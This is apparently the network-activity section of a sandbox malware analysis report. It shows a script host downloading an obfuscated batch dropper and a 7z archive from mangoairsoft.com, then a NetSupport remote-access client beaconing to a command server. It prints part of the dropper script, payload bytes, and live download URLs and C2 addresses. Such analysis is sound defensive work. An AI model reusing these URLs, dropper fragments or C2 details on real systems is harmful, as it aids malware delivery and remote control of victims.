Aug 2, 2023 10:13:04.442137003 CEST	443	49700	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:05.122106075 CEST	49701	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:05.122176886 CEST	443	49701	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:05.122277021 CEST	49701	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:05.135257006 CEST	49701	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:05.135310888 CEST	443	49701	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:05.274595022 CEST	443	49701	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:05.274698019 CEST	49701	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:05.276599884 CEST	49701	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:05.276622057 CEST	443	49701	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:05.277180910 CEST	443	49701	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:05.282215118 CEST	49701	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:05.322804928 CEST	443	49701	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:05.371243000 CEST	443	49701	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:05.371332884 CEST	443	49701	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:05.371391058 CEST	49701	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:05.383197069 CEST	49701	443	192.168.2.3	188.127.230.147
Aug 2, 2023 10:13:05.383238077 CEST	443	49701	188.127.230.147	192.168.2.3
Aug 2, 2023 10:13:13.407017946 CEST	49702	5050	192.168.2.3	94.158.247.23
Aug 2, 2023 10:13:13.579466105 CEST	5050	49702	94.158.247.23	192.168.2.3
Aug 2, 2023 10:13:13.579590082 CEST	49702	5050	192.168.2.3	94.158.247.23
Aug 2, 2023 10:13:14.821124077 CEST	49702	5050	192.168.2.3	94.158.247.23
Aug 2, 2023 10:13:15.000080109 CEST	5050	49702	94.158.247.23	192.168.2.3
Aug 2, 2023 10:13:15.040929079 CEST	49702	5050	192.168.2.3	94.158.247.23
Aug 2, 2023 10:13:18.292802095 CEST	49702	5050	192.168.2.3	94.158.247.23
Aug 2, 2023 10:13:18.467360020 CEST	5050	49702	94.158.247.23	192.168.2.3
Aug 2, 2023 10:13:18.569168091 CEST	49702	5050	192.168.2.3	94.158.247.23
Aug 2, 2023 10:13:18.747426987 CEST	49702	5050	192.168.2.3	94.158.247.23
Aug 2, 2023 10:13:18.974533081 CEST	5050	49702	94.158.247.23	192.168.2.3
Aug 2, 2023 10:13:19.946192980 CEST	49703	80	192.168.2.3	62.172.138.67
Aug 2, 2023 10:13:19.988554001 CEST	80	49703	62.172.138.67	192.168.2.3
Aug 2, 2023 10:13:19.988653898 CEST	49703	80	192.168.2.3	62.172.138.67
Aug 2, 2023 10:13:20.125593901 CEST	49703	80	192.168.2.3	62.172.138.67
Aug 2, 2023 10:13:20.176110983 CEST	80	49703	62.172.138.67	192.168.2.3
Aug 2, 2023 10:13:20.176212072 CEST	49703	80	192.168.2.3	62.172.138.67
Aug 2, 2023 10:14:18.678816080 CEST	49702	5050	192.168.2.3	94.158.247.23
Aug 2, 2023 10:14:18.913712025 CEST	5050	49702	94.158.247.23	192.168.2.3
Aug 2, 2023 10:15:04.859472990 CEST	49703	80	192.168.2.3	62.172.138.67
Aug 2, 2023 10:15:04.901523113 CEST	80	49703	62.172.138.67	192.168.2.3
Aug 2, 2023 10:15:04.901627064 CEST	49703	80	192.168.2.3	62.172.138.67
Aug 2, 2023 10:15:18.869443893 CEST	49702	5050	192.168.2.3	94.158.247.23
Aug 2, 2023 10:15:19.099231005 CEST	5050	49702	94.158.247.23	192.168.2.3
Aug 2, 2023 10:16:18.944930077 CEST	49702	5050	192.168.2.3	94.158.247.23
Aug 2, 2023 10:16:19.177448034 CEST	5050	49702	94.158.247.23	192.168.2.3

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 2, 2023 10:13:00.605271101 CEST	57990	53	192.168.2.3	8.8.8.8
Aug 2, 2023 10:13:00.689363956 CEST	53	57990	8.8.8.8	192.168.2.3
Aug 2, 2023 10:13:02.024280071 CEST	52387	53	192.168.2.3	8.8.8.8
Aug 2, 2023 10:13:02.044745922 CEST	53	52387	8.8.8.8	192.168.2.3
Aug 2, 2023 10:13:03.467876911 CEST	56924	53	192.168.2.3	8.8.8.8
Aug 2, 2023 10:13:03.688536882 CEST	53	56924	8.8.8.8	192.168.2.3
Aug 2, 2023 10:13:05.093127966 CEST	60625	53	192.168.2.3	8.8.8.8
Aug 2, 2023 10:13:05.108136892 CEST	53	60625	8.8.8.8	192.168.2.3
Aug 2, 2023 10:13:19.237552881 CEST	49302	53	192.168.2.3	8.8.8.8
Aug 2, 2023 10:13:19.264784098 CEST	53	49302	8.8.8.8	192.168.2.3

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Aug 2, 2023 10:13:00.605271101 CEST	192.168.2.3	8.8.8.8	0x7560	Standard query (0)	mangoairsoft.com	A (IP address)	IN (0x0001)	false
Aug 2, 2023 10:13:02.024280071 CEST	192.168.2.3	8.8.8.8	0x1c	Standard query (0)	mangoairsoft.com	A (IP address)	IN (0x0001)	false
Aug 2, 2023 10:13:03.467876911 CEST	192.168.2.3	8.8.8.8	0xa999	Standard query (0)	mangoairsoft.com	A (IP address)	IN (0x0001)	false
Aug 2, 2023 10:13:05.093127966 CEST	192.168.2.3	8.8.8.8	0x7428	Standard query (0)	mangoairsoft.com	A (IP address)	IN (0x0001)	false
Aug 2, 2023 10:13:19.237552881 CEST	192.168.2.3	8.8.8.8	0x372f	Standard query (0)	geo.netsupportsoftware.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Aug 2, 2023 10:13:00.689363956 CEST	8.8.8.8	192.168.2.3	0x7560	No error (0)	mangoairsoft.com		188.127.230.147	A (IP address)	IN (0x0001)	false
Aug 2, 2023 10:13:02.044745922 CEST	8.8.8.8	192.168.2.3	0x1c	No error (0)	mangoairsoft.com		188.127.230.147	A (IP address)	IN (0x0001)	false
Aug 2, 2023 10:13:03.688536882 CEST	8.8.8.8	192.168.2.3	0xa999	No error (0)	mangoairsoft.com		188.127.230.147	A (IP address)	IN (0x0001)	false
Aug 2, 2023 10:13:05.108136892 CEST	8.8.8.8	192.168.2.3	0x7428	No error (0)	mangoairsoft.com		188.127.230.147	A (IP address)	IN (0x0001)	false
Aug 2, 2023 10:13:19.264784098 CEST	8.8.8.8	192.168.2.3	0x372f	No error (0)	geo.netsupportsoftware.com	geography.netsupportsoftware.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 2, 2023 10:13:19.264784098 CEST	8.8.8.8	192.168.2.3	0x372f	No error (0)	geography.netsupportsoftware.com		62.172.138.67	A (IP address)	IN (0x0001)	false
Aug 2, 2023 10:13:19.264784098 CEST	8.8.8.8	192.168.2.3	0x372f	No error (0)	geography.netsupportsoftware.com		62.172.138.8	A (IP address)	IN (0x0001)	false
Aug 2, 2023 10:13:19.264784098 CEST	8.8.8.8	192.168.2.3	0x372f	No error (0)	geography.netsupportsoftware.com		51.142.119.24	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

mangoairsoft.com

94.158.247.23connection: keep-alivecmd=pollinfo=1ack=1

94.158.247.23connection: keep-alivecmd=encdes=1data=u2hr4]%y-=id3wi7?=@ff&t[6ral=i7e{yb\m#rtr5=ifl{mqyz8 6v{rx\@q=j=js:x>w~k=n+|*9w_z8a ]

94.158.247.23connection: keep-alivecmd=encdes=1data=l3<(t{evk9|||$(m$c=m~sm?sq

geo.netsupportsoftware.com

94.158.247.23connection: keep-alivecmd=encdes=1data=#mhuaag

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.3	49698	188.127.230.147	443	C:\Windows\System32\wscript.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.3	49699	188.127.230.147	443	C:\Windows\System32\wscript.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.3	49700	188.127.230.147	443	C:\Windows\System32\wscript.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.3	49701	188.127.230.147	443	C:\Windows\System32\wscript.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.3	49702	94.158.247.23	5050	C:\ProgramData\client32.exe

Timestamp	kBytes transferred	Direction	Data
Aug 2, 2023 10:13:14.821124077 CEST	2910	OUT	POST http://94.158.247.23/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 22Host: 94.158.247.23Connection: Keep-AliveCMD=POLLINFO=1ACK=1 Data Raw: Data Ascii:
Aug 2, 2023 10:13:15.000080109 CEST	2910	IN	HTTP/1.1 200 OKServer: NetSupport Gateway/1.6 (Windows NT)Content-Type: application/x-www-form-urlencodedContent-Length: 60Connection: Keep-AliveCMD=ENCDES=1DATA=g+${ \Wbb)w}oXxf Data Raw: Data Ascii:
Aug 2, 2023 10:13:18.292802095 CEST	2911	OUT	POST http://94.158.247.23/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 235Host: 94.158.247.23Connection: Keep-AliveCMD=ENCDES=1DATA=u2hr4]%y-=ID3Wi7?=@Ff&t[6raL=I7E{yb\m#rtr5=Ifl{MQYz8 6V{rX\@Q=J=JS:X>w~k=n+\|*9W_z8A ] Data Raw: Data Ascii:
Aug 2, 2023 10:13:18.467360020 CEST	2911	IN	HTTP/1.1 200 OKServer: NetSupport Gateway/1.6 (Windows NT)Content-Type: application/x-www-form-urlencodedContent-Length: 151Connection: Keep-AliveCMD=ENCDES=1DATA=u2hr \WhE=I=n~7s4}X),,Dq,()4]%y-A9H=n :!b<D)sy+t4Rb'h[TjI Data Raw: Data Ascii:
Aug 2, 2023 10:13:18.747426987 CEST	2911	OUT	POST http://94.158.247.23/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 77Host: 94.158.247.23Connection: Keep-AliveCMD=ENCDES=1DATA=l3<(T{EVk9\|\|\|$(m$C=M~Sm?sq Data Raw: Data Ascii:
Aug 2, 2023 10:14:18.678816080 CEST	2914	OUT	POST http://94.158.247.23/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 94.158.247.23Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Aug 2, 2023 10:15:18.869443893 CEST	2915	OUT	POST http://94.158.247.23/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 94.158.247.23Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Aug 2, 2023 10:16:18.944930077 CEST	2915	OUT	POST http://94.158.247.23/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 94.158.247.23Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
5	192.168.2.3	49703	62.172.138.67	80	C:\ProgramData\client32.exe

Timestamp	kBytes transferred	Direction	Data
Aug 2, 2023 10:13:20.125593901 CEST	2912	OUT	GET /location/loca.asp HTTP/1.1 Host: geo.netsupportsoftware.com Connection: Keep-Alive Cache-Control: no-cache
Aug 2, 2023 10:13:20.176110983 CEST	2912	IN	HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; Charset=utf-8 Server: Microsoft-IIS/10.0 Access-Control-Allow-Origin: * Set-Cookie: ASPSESSIONIDCSBQRATC=GPOHJMEAMDACAPKBOFEPOGAM; path=/ X-Content-Type-Options: nosniff Referrer-Policy: strict-origin-when-cross-origin strict-transport-security: max-age=31536000; includeSubDomains X-Frame-Options: SAMEORIGIN Date: Wed, 02 Aug 2023 08:13:20 GMT Content-Length: 15 Data Raw: 34 37 2e 31 37 37 32 2c 38 2e 34 32 37 31 39 Data Ascii: 47.1772,8.42719

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.3	49698	188.127.230.147	443	C:\Windows\System32\wscript.exe

Timestamp	Direction	Data
2023-08-02 08:13:01 UTC	OUT	GET /05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/11.bat?81197 HTTP/1.1 Accept: / Accept-Language: en-us UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: mangoairsoft.com Connection: Keep-Alive
2023-08-02 08:13:01 UTC	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 02 Aug 2023 08:13:01 GMT Content-Type: application/x-msdos-program Content-Length: 1908 Connection: close Last-Modified: Thu, 27 Jul 2023 14:27:09 GMT ETag: "774-60178c25fc517" Accept-Ranges: bytes
2023-08-02 08:13:01 UTC	IN	Data Raw: 40 65 63 68 6f 20 6f 66 66 0a 0a 3a 3a 20 52 31 31 66 66 73 52 73 66 73 52 62 0a 3a 3a 20 33 5a 36 66 4b 66 73 52 4b 66 73 52 62 0a 0a 73 65 74 20 22 66 64 61 61 3d 73 65 74 20 22 0a 25 66 64 61 61 25 22 66 64 67 78 76 78 63 76 78 63 3d 43 3a 5c 50 72 6f 67 22 0a 25 66 64 61 61 25 22 68 67 68 67 64 67 64 66 73 7a 3d 72 61 6d 44 22 0a 25 66 64 61 61 25 22 68 79 74 75 72 64 66 67 66 3d 61 74 61 5c 22 0a 0a 3a 3a 20 52 31 31 4b 66 73 66 66 73 52 73 73 52 73 52 73 52 52 62 0a 3a 3a 20 73 73 52 73 52 66 73 52 73 52 52 62 0a 0a 25 66 64 67 78 76 78 63 76 78 63 25 25 68 67 68 67 64 67 64 66 73 7a 25 25 68 79 74 75 72 64 66 67 66 25 0a 0a 73 65 74 20 22 66 67 64 67 68 3d 73 65 74 20 22 0a 25 66 67 64 67 68 25 22 76 62 6e 76 62 76 3d 57 73 63 72 22 0a 25 66 67 64 Data Ascii: @echo off:: R11ffsRsfsRb:: 3Z6fKfsRKfsRbset "fdaa=set "%fdaa%"fdgxvxcvxc=C:\Prog"%fdaa%"hghgdgdfsz=ramD"%fdaa%"hyturdfgf=ata\":: R11KfsffsRssRsRsRRb:: ssRsRfsRsRRb%fdgxvxcvxc%%hghgdgdfsz%%hyturdfgf%set "fgdgh=set "%fgdgh%"vbnvbv=Wscr"%fgd

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.3	49699	188.127.230.147	443	C:\Windows\System32\wscript.exe

Timestamp	kBytes transferred	Direction	Data
2023-08-02 08:13:02 UTC	2	OUT	GET /05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/lolo.7z HTTP/1.1 Host: mangoairsoft.com User-Agent: curl/7.55.1 Accept: /
2023-08-02 08:13:02 UTC	2	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 02 Aug 2023 08:13:02 GMT Content-Type: application/x-7z-compressed Content-Length: 2306944 Connection: close Last-Modified: Thu, 27 Jul 2023 14:02:55 GMT ETag: "233380-601786bbd2554" Accept-Ranges: bytes
2023-08-02 08:13:02 UTC	2	IN	Data Raw: 37 7a bc af 27 1c 00 04 62 94 ad 89 3b 33 23 00 00 00 00 00 25 00 00 00 00 00 00 00 bd 7d 05 34 e0 1b b1 06 4e 5d 00 06 82 cb 94 d3 b9 af f7 1e d4 db db 26 fe 12 c2 40 84 0b ca 5a 74 41 a5 34 05 82 78 3d 69 f9 1a 84 68 af 35 e1 8b 55 42 68 d8 4b a5 de e9 e9 9e 4b 42 7d 22 47 41 bd cc 0e cb d2 0c 2e 18 9d db 78 b3 e6 e2 c7 e7 36 ff 63 8a 38 ec f2 56 ac 3e a9 8a 33 ba 33 a3 7e c2 dd a8 1e 62 8e af 58 c3 d3 08 ed f6 1b 57 d8 62 c6 f4 a1 77 f7 19 db ec 8d 75 62 51 00 a2 a3 68 5b fa b4 16 0d 60 bf cc 33 29 87 ac b4 91 3e cc a8 0a e2 ee 0f b7 55 05 96 4b 13 ec 59 e2 30 7d 28 ee 67 a3 a1 37 e2 84 d2 ab 62 72 77 92 c2 79 d5 ef 15 10 2f 33 7a cb 74 f6 de 9c 0d 2c d2 67 a5 40 f4 ac 92 61 4a c2 9d d1 7f 8e f8 99 30 4b 0c 96 12 aa c4 d2 d1 f2 27 51 d6 ec 06 9e f3 fd Data Ascii: 7z'b;3#%}4N]&@ZtA4x=ih5UBhKKB}"GA.x6c8V>33~bXWbwubQh[`3)>UKY0}(g7brwy/3zt,g@aJ0K'Q
2023-08-02 08:13:02 UTC	18	IN	Data Raw: 20 a1 58 17 00 5c de 14 66 93 6e 4d e6 0f 0d ec 4e 9a f7 0d d3 c0 ec b2 50 4f 23 af b6 9c e4 9e 86 1f 2c 28 d8 72 1d 14 3a 77 40 be 76 d9 d5 08 0b 27 b4 15 6e 50 48 83 9b ba b5 39 7e 63 9a 91 da 1f 0d c4 59 da 7f 8b 43 02 34 9c f2 5d 1d 01 25 52 70 eb 3e 89 2a f0 2a e3 76 ee 1b 8c 1d 69 06 51 fc 25 bb 7a 34 17 bf 70 91 ba 22 db a5 4a 57 11 7e ab 1d c7 77 12 24 7d 1f 16 26 24 85 04 b5 d9 99 63 85 cc cd 90 34 2c 1f 24 31 0d 13 ef 05 7e 89 2f 8d 70 b9 aa 25 75 51 d5 ab 20 d1 e7 b0 d7 6a 28 f8 ad 0e e2 04 c9 e4 cc 07 bd 51 af 5a 42 18 b1 1f 10 9e ab c3 74 ae 3f d1 a6 80 be 92 8d 39 05 9a 75 7b 10 94 53 44 db 94 7d ad 05 8d 30 07 0f e0 ea e6 d4 52 23 58 6b c3 84 b0 5d 17 56 11 59 83 e3 92 ad d0 26 22 a5 70 60 77 cd 68 de 65 38 13 16 a3 33 ba 26 56 ab 03 f3 cf Data Ascii: X\fnMNPO#,(r:w@v'nPH9~cYC4]%Rp>**viQ%z4p"JW~w$}&$c4,$1~/p%uQ j(QZBt?9u{SD}0R#Xk]VY&"p`whe83&V
2023-08-02 08:13:02 UTC	34	IN	Data Raw: 38 27 45 be 2c f7 1e 6e 22 d1 5b 21 f0 a4 45 8f c4 f2 bf 48 84 4c 1d e1 d3 79 7a c1 71 5e a8 0c 3c d7 28 2c f8 dd 60 ef 73 15 a8 7f 03 20 a6 e5 39 83 fa 82 0e a9 fd 2e 46 d8 49 ca c9 18 27 60 d6 20 de 75 30 ce 3d c1 7b 16 30 1f 9b cd c6 13 d4 a6 29 f7 70 da 5a 02 ab c8 0e 09 96 79 c0 e8 13 bd e9 72 b0 3f c9 35 35 bc 9d 0a 2a 3b 79 cc aa 6e d6 a2 a9 3c 33 9a 4c 0a 5b 49 3c 74 05 9b ae cf f4 dc 59 86 ba 4a ad a5 25 f6 a7 0f 44 d7 bd b3 74 96 9d be d6 3c 03 23 e3 f5 57 41 ed 7e 70 7c d2 91 59 08 08 3b ef a6 e4 d9 b9 dc fa e5 73 56 12 cd d6 05 3f 90 7b 6f 61 fd 59 8a 79 52 13 78 cd a7 9d 97 50 f6 0b c0 b7 25 ee af b3 bc ae 55 3a 5a 7a 36 c4 a1 0a 47 bf ad 1f f6 6e 8a 7a 31 cd 2f 8d dc b1 81 6f d5 7a 05 26 80 8f 20 46 27 a4 43 cb 71 4b 3b 3f 4a e8 51 67 35 44 Data Ascii: 8'E,n"[!EHLyzq^<(,`s 9.FI'` u0={0)pZyr?55*;yn<3L[I<tYJ%Dt<#WA~p\|Y;sV?{oaYyRxP%U:Zz6Gnz1/oz& F'CqK;?JQg5D
2023-08-02 08:13:02 UTC	50	IN	Data Raw: f1 57 ce 65 46 f3 a2 05 d3 1e 75 34 50 05 ee 13 94 27 62 02 89 fd 39 1e d7 ef d0 12 c5 cc 43 30 6d 3a f1 31 33 e4 b5 e0 14 5a 6c fb cd b2 80 73 d1 c1 ea 45 51 ca 18 88 2c 52 4f 2f 3f 3a d6 b6 6e 32 e0 08 94 72 2c be 66 2c ed 90 5d b9 0b 1e 82 86 95 11 fc 15 a7 d4 43 93 71 ba 17 53 28 57 78 6a 6d 5a 5f 97 f9 26 50 b8 e7 8d e2 9b 3a 01 c3 2a b6 f5 88 e0 13 42 86 48 03 39 ac 20 c6 ab 64 85 e5 78 47 47 59 57 2b 5f 64 8e c7 21 d5 73 ec 4f 9f db f9 12 99 cc e5 dc 8b df 1a ba 8b 0d 18 ec eb ff 76 af 6a 25 5d 89 68 0e 1a 6c 55 fb c1 fa 6f d0 9f b2 e0 ba e7 bc dd 94 f6 f4 65 68 25 ed 34 22 7d 37 4c a6 68 08 3e 43 3d b5 69 ac a5 43 d5 4b d6 b3 2a 6b 77 5f 08 11 ba 63 d8 68 da 98 17 b0 45 c2 6b 3e 00 f0 f3 1c 66 97 74 79 e7 2a 03 11 23 bb 99 81 86 b2 8b e5 27 95 2d Data Ascii: WeFu4P'b9C0m:13ZlsEQ,RO/?:n2r,f,]CqS(WxjmZ_&P:BH9 dxGGYW+_d!sOvj%]hlUoeh%4"}7Lh>C=iCKkw_chEk>fty*#'-
2023-08-02 08:13:02 UTC	66	IN	Data Raw: 1d ca 0d d7 81 55 36 0f 11 a0 78 f5 8e f1 b9 74 f8 3a ef 1e b9 69 d9 da ec 8e ea b0 05 30 6a d8 f4 8f 04 61 93 9d 9f 58 55 56 b5 58 0e 4e ae e6 e5 e2 9b 6d e6 7a 78 cc 53 93 28 3f 34 a9 23 4c 29 b3 7a e1 5a c8 91 a2 ba f5 9f e4 0c 42 da ce 17 24 a7 fb a5 58 64 88 04 d0 44 6a 93 f3 c1 af e6 8d d8 87 f0 b8 85 fc a9 a6 f5 a6 ad bf 07 c1 b4 c5 c8 ed eb 26 82 b3 3c dd 10 eb 61 87 4e 2d bf 08 bf 66 28 be 12 de 14 1f 2f ab 2e a1 a8 b2 5f da 9c 41 c9 6f 6b 4c 7a 04 21 7f 82 6e e8 8e 7b 46 bc 15 e7 bd 37 b8 a7 6b c8 0a 8e a4 6f 28 99 01 7d 1d 22 b6 a5 dd e0 05 96 0b 09 c2 27 96 09 15 48 ec 80 4b d6 d7 9f 49 02 1a 08 d3 6d 93 25 c1 79 15 fc 2b c9 c9 9b a5 01 f3 e8 f9 0b 80 26 9f 07 0b 4e d1 7c 65 d1 d7 5f ae 3f a7 7c 30 91 ce c1 e8 b6 d9 6b 9c c4 29 36 be 4f ba 0b Data Ascii: U6xt:i0jaXUVXNmzxS(?4#L)zZB$XdDj&<aN-f(/._AokLz!n{F7ko(}"'HKIm%y+&N\|e_?\|0k)6O
2023-08-02 08:13:02 UTC	82	IN	Data Raw: bf 83 7f e1 a3 bc 15 5a 32 72 cd 06 d5 3b 9d 67 43 4d 24 e8 0e ea 69 ad bd f5 09 fd 0f 29 6d cd 0c 63 c8 05 e0 79 71 c5 59 d1 e6 68 c5 14 96 cb b6 a9 17 0b ef 44 1c 50 57 fe c1 a5 d3 fc d9 d6 b8 5d 39 c5 5f 0f a6 ef 5b c0 d7 36 76 9f ac 06 e9 b4 ac 98 ba 2a 38 8e d1 14 22 94 fc 9e 55 1c 12 b9 33 0b 6c 0b 8a 9a f0 21 b0 98 da 02 1e 87 5b 6f b0 ff 43 d2 c5 f0 6e 16 14 2e ed 15 9c 4e d1 ce 19 f4 b4 e7 d3 b7 b3 7f 78 8d a6 1c c2 a1 27 7e d3 15 ea 1f a2 97 89 47 7f 60 3c 4e 99 d2 bf 5e e4 8f 40 20 a1 e7 07 b4 92 02 66 ca 03 94 5d d8 29 e2 af c2 b3 f5 58 9b 32 c1 fe 0e e1 7d e8 93 e2 f7 ac 52 77 39 db a8 e4 73 9a 31 f9 cd 31 1d 7a 14 9f 20 4e 76 cb a9 2d b1 d1 66 b9 a7 ab 7e 57 e4 aa c8 c4 d4 66 34 8d 42 9d 51 c9 12 3c d5 ad 00 c1 6b 77 22 dc 77 20 22 f5 4d 57 Data Ascii: Z2r;gCM$i)mcyqYhDPW]9_[6v*8"U3l![oCn.Nx'~G`<N^@ f])X2}Rw9s11z Nv-f~Wf4BQ<kw"w "MW
2023-08-02 08:13:02 UTC	98	IN	Data Raw: 7f 7e 8e 38 2a e7 74 1b 62 ea c6 d4 7e 8d 8b 71 b9 85 58 30 83 69 5b 12 1d 4d 22 f2 39 b6 80 8c 23 3f 09 f4 45 88 f4 05 c6 18 6e dd 99 2e 0c 7a 0e d2 27 f5 2a 56 90 a8 58 99 29 58 ea fd b7 70 a1 c0 a0 d6 a9 de ce 40 a3 77 50 d5 e6 71 44 4f 43 c4 90 49 41 93 01 ed 2a af f7 08 c4 dc 07 db eb 6f 88 a1 e7 33 15 cf 62 07 a1 42 05 26 08 35 ef 95 f8 56 5d d5 6e f3 ca b1 c0 86 bd 43 4b eb 3e e6 46 44 4c 27 18 ba 4e cc d1 c2 07 c4 ec 69 87 9a c7 12 bd 71 9e 19 cd 51 df d7 a6 e2 b7 2d f2 12 5d cf 70 5b 22 99 48 d2 3b 60 1f 89 c5 0d ad 52 28 70 1a d0 81 2c b1 e7 6f 1b 33 70 22 98 bc 22 d9 75 93 f3 f0 94 ee 57 56 79 3a 52 57 2c 1b f7 2a 08 b3 7e d8 6d 2e 9e 53 79 f5 00 57 e1 4a b4 f1 9a 81 22 a2 6b dc 2a 69 dd 3d d9 d9 c9 3c 73 d0 8b 1c d5 1d 71 dd 0d c4 8d cd 21 f9 Data Ascii: ~8tb~qX0i[M"9#?En.z'VX)Xp@wPqDOCIAo3bB&5V]nCK>FDL'NiqQ-]p["H;`R(p,o3p""uWVy:RW,~m.SyWJ"k*i=<sq!
2023-08-02 08:13:02 UTC	114	IN	Data Raw: 2c 80 a3 55 08 82 d6 cf 94 59 0e 12 21 ea bd 66 f8 b6 f9 a3 c8 9d 44 56 73 93 de cf fe 6a 50 a0 d2 3f 61 97 69 79 8f dd 4f 89 1d b9 6f 39 e2 e5 26 7d e3 e1 6d 56 13 fe 72 61 dd 36 76 0f 27 7c 48 2f a1 06 5f b4 33 87 c3 6b 65 83 17 d8 a3 dc db 30 29 8b 74 45 32 60 fd 3f 79 50 1e 36 77 40 fc 8d fe 20 0d 60 94 73 8c ec 17 07 14 57 fc 17 21 80 bf be 8e c7 22 af 6e 0e 56 81 71 04 f4 c2 4f 9b 60 85 4a 9f f2 29 e0 86 db b3 f1 cc 04 f4 53 dd 94 df cb da bb 8f f9 5c ce f5 f4 9a e8 60 6e 39 8b 89 b9 99 3e 70 d5 50 07 fc 78 a7 88 8e df 3f f0 a9 10 a8 c1 b6 9b d4 4d 8b 5a f3 7e 7c 1e 14 f5 0d 5c f8 d0 41 be 0b 07 f2 a9 63 ec 24 7b 9f a4 d6 3e 13 c3 28 52 b7 08 ab 98 f2 af 3b 0c f0 16 66 a1 f7 a2 66 3a d3 40 b3 4c a2 09 13 38 69 d6 60 9c df 79 71 b4 01 47 d5 5f c7 83 Data Ascii: ,UY!fDVsjP?aiyOo9&}mVra6v'\|H/_3ke0)tE2`?yP6w@ `sW!"nVqO`J)S\`n9>pPx?MZ~\|\Ac${>(R;ff:@L8i`yqG_
2023-08-02 08:13:02 UTC	130	IN	Data Raw: 1c 1b 35 5f 31 b1 08 e7 a3 a1 9a ee ae 53 42 f1 63 d7 15 c4 71 57 52 19 fb f2 f6 65 dd bb 37 d7 68 26 a1 7d 54 6d e0 86 58 08 18 23 85 83 36 e9 c1 4b 54 29 2f b2 1b 06 90 db 09 4f c4 69 c2 e3 81 2d aa 8b e0 75 93 cc 7e 5c f2 e8 60 92 66 e2 93 90 00 fb 6d 93 cf a7 68 12 84 55 07 e3 8b 48 e9 b2 57 d4 11 d0 78 c4 b4 3a c9 3a 96 9d 04 b9 48 3f 96 53 97 7d 17 10 f0 02 86 b7 c6 54 63 55 19 70 8c ad 00 b0 0d fa 99 06 e7 0a 7b c7 da 9b 3c 06 56 7a 66 d9 9e c0 9a ac 53 99 4d 7a df b6 f7 83 2f 8d d4 f2 6e c1 97 76 fc 48 6c e8 d7 03 e8 76 44 3e b4 89 05 d1 53 11 4e 48 56 c9 90 77 36 80 7b 60 22 bb 57 40 f1 26 ee 58 69 45 52 56 af 07 4a 6d a9 20 ef 7d 5c 80 ea 8a 3e d7 ae 8a 06 10 ca ca 7b 84 3d 11 d9 0c 3a d9 d7 55 16 8a 78 4b 38 a1 4a b8 82 01 07 9e a5 4a dc 05 e3 Data Ascii: 5_1SBcqWRe7h&}TmX#6KT)/Oi-u~\`fmhUHWx::H?S}TcUp{<VzfSMz/nvHlvD>SNHVw6{`"W@&XiERVJm }\>{=:UxK8JJ
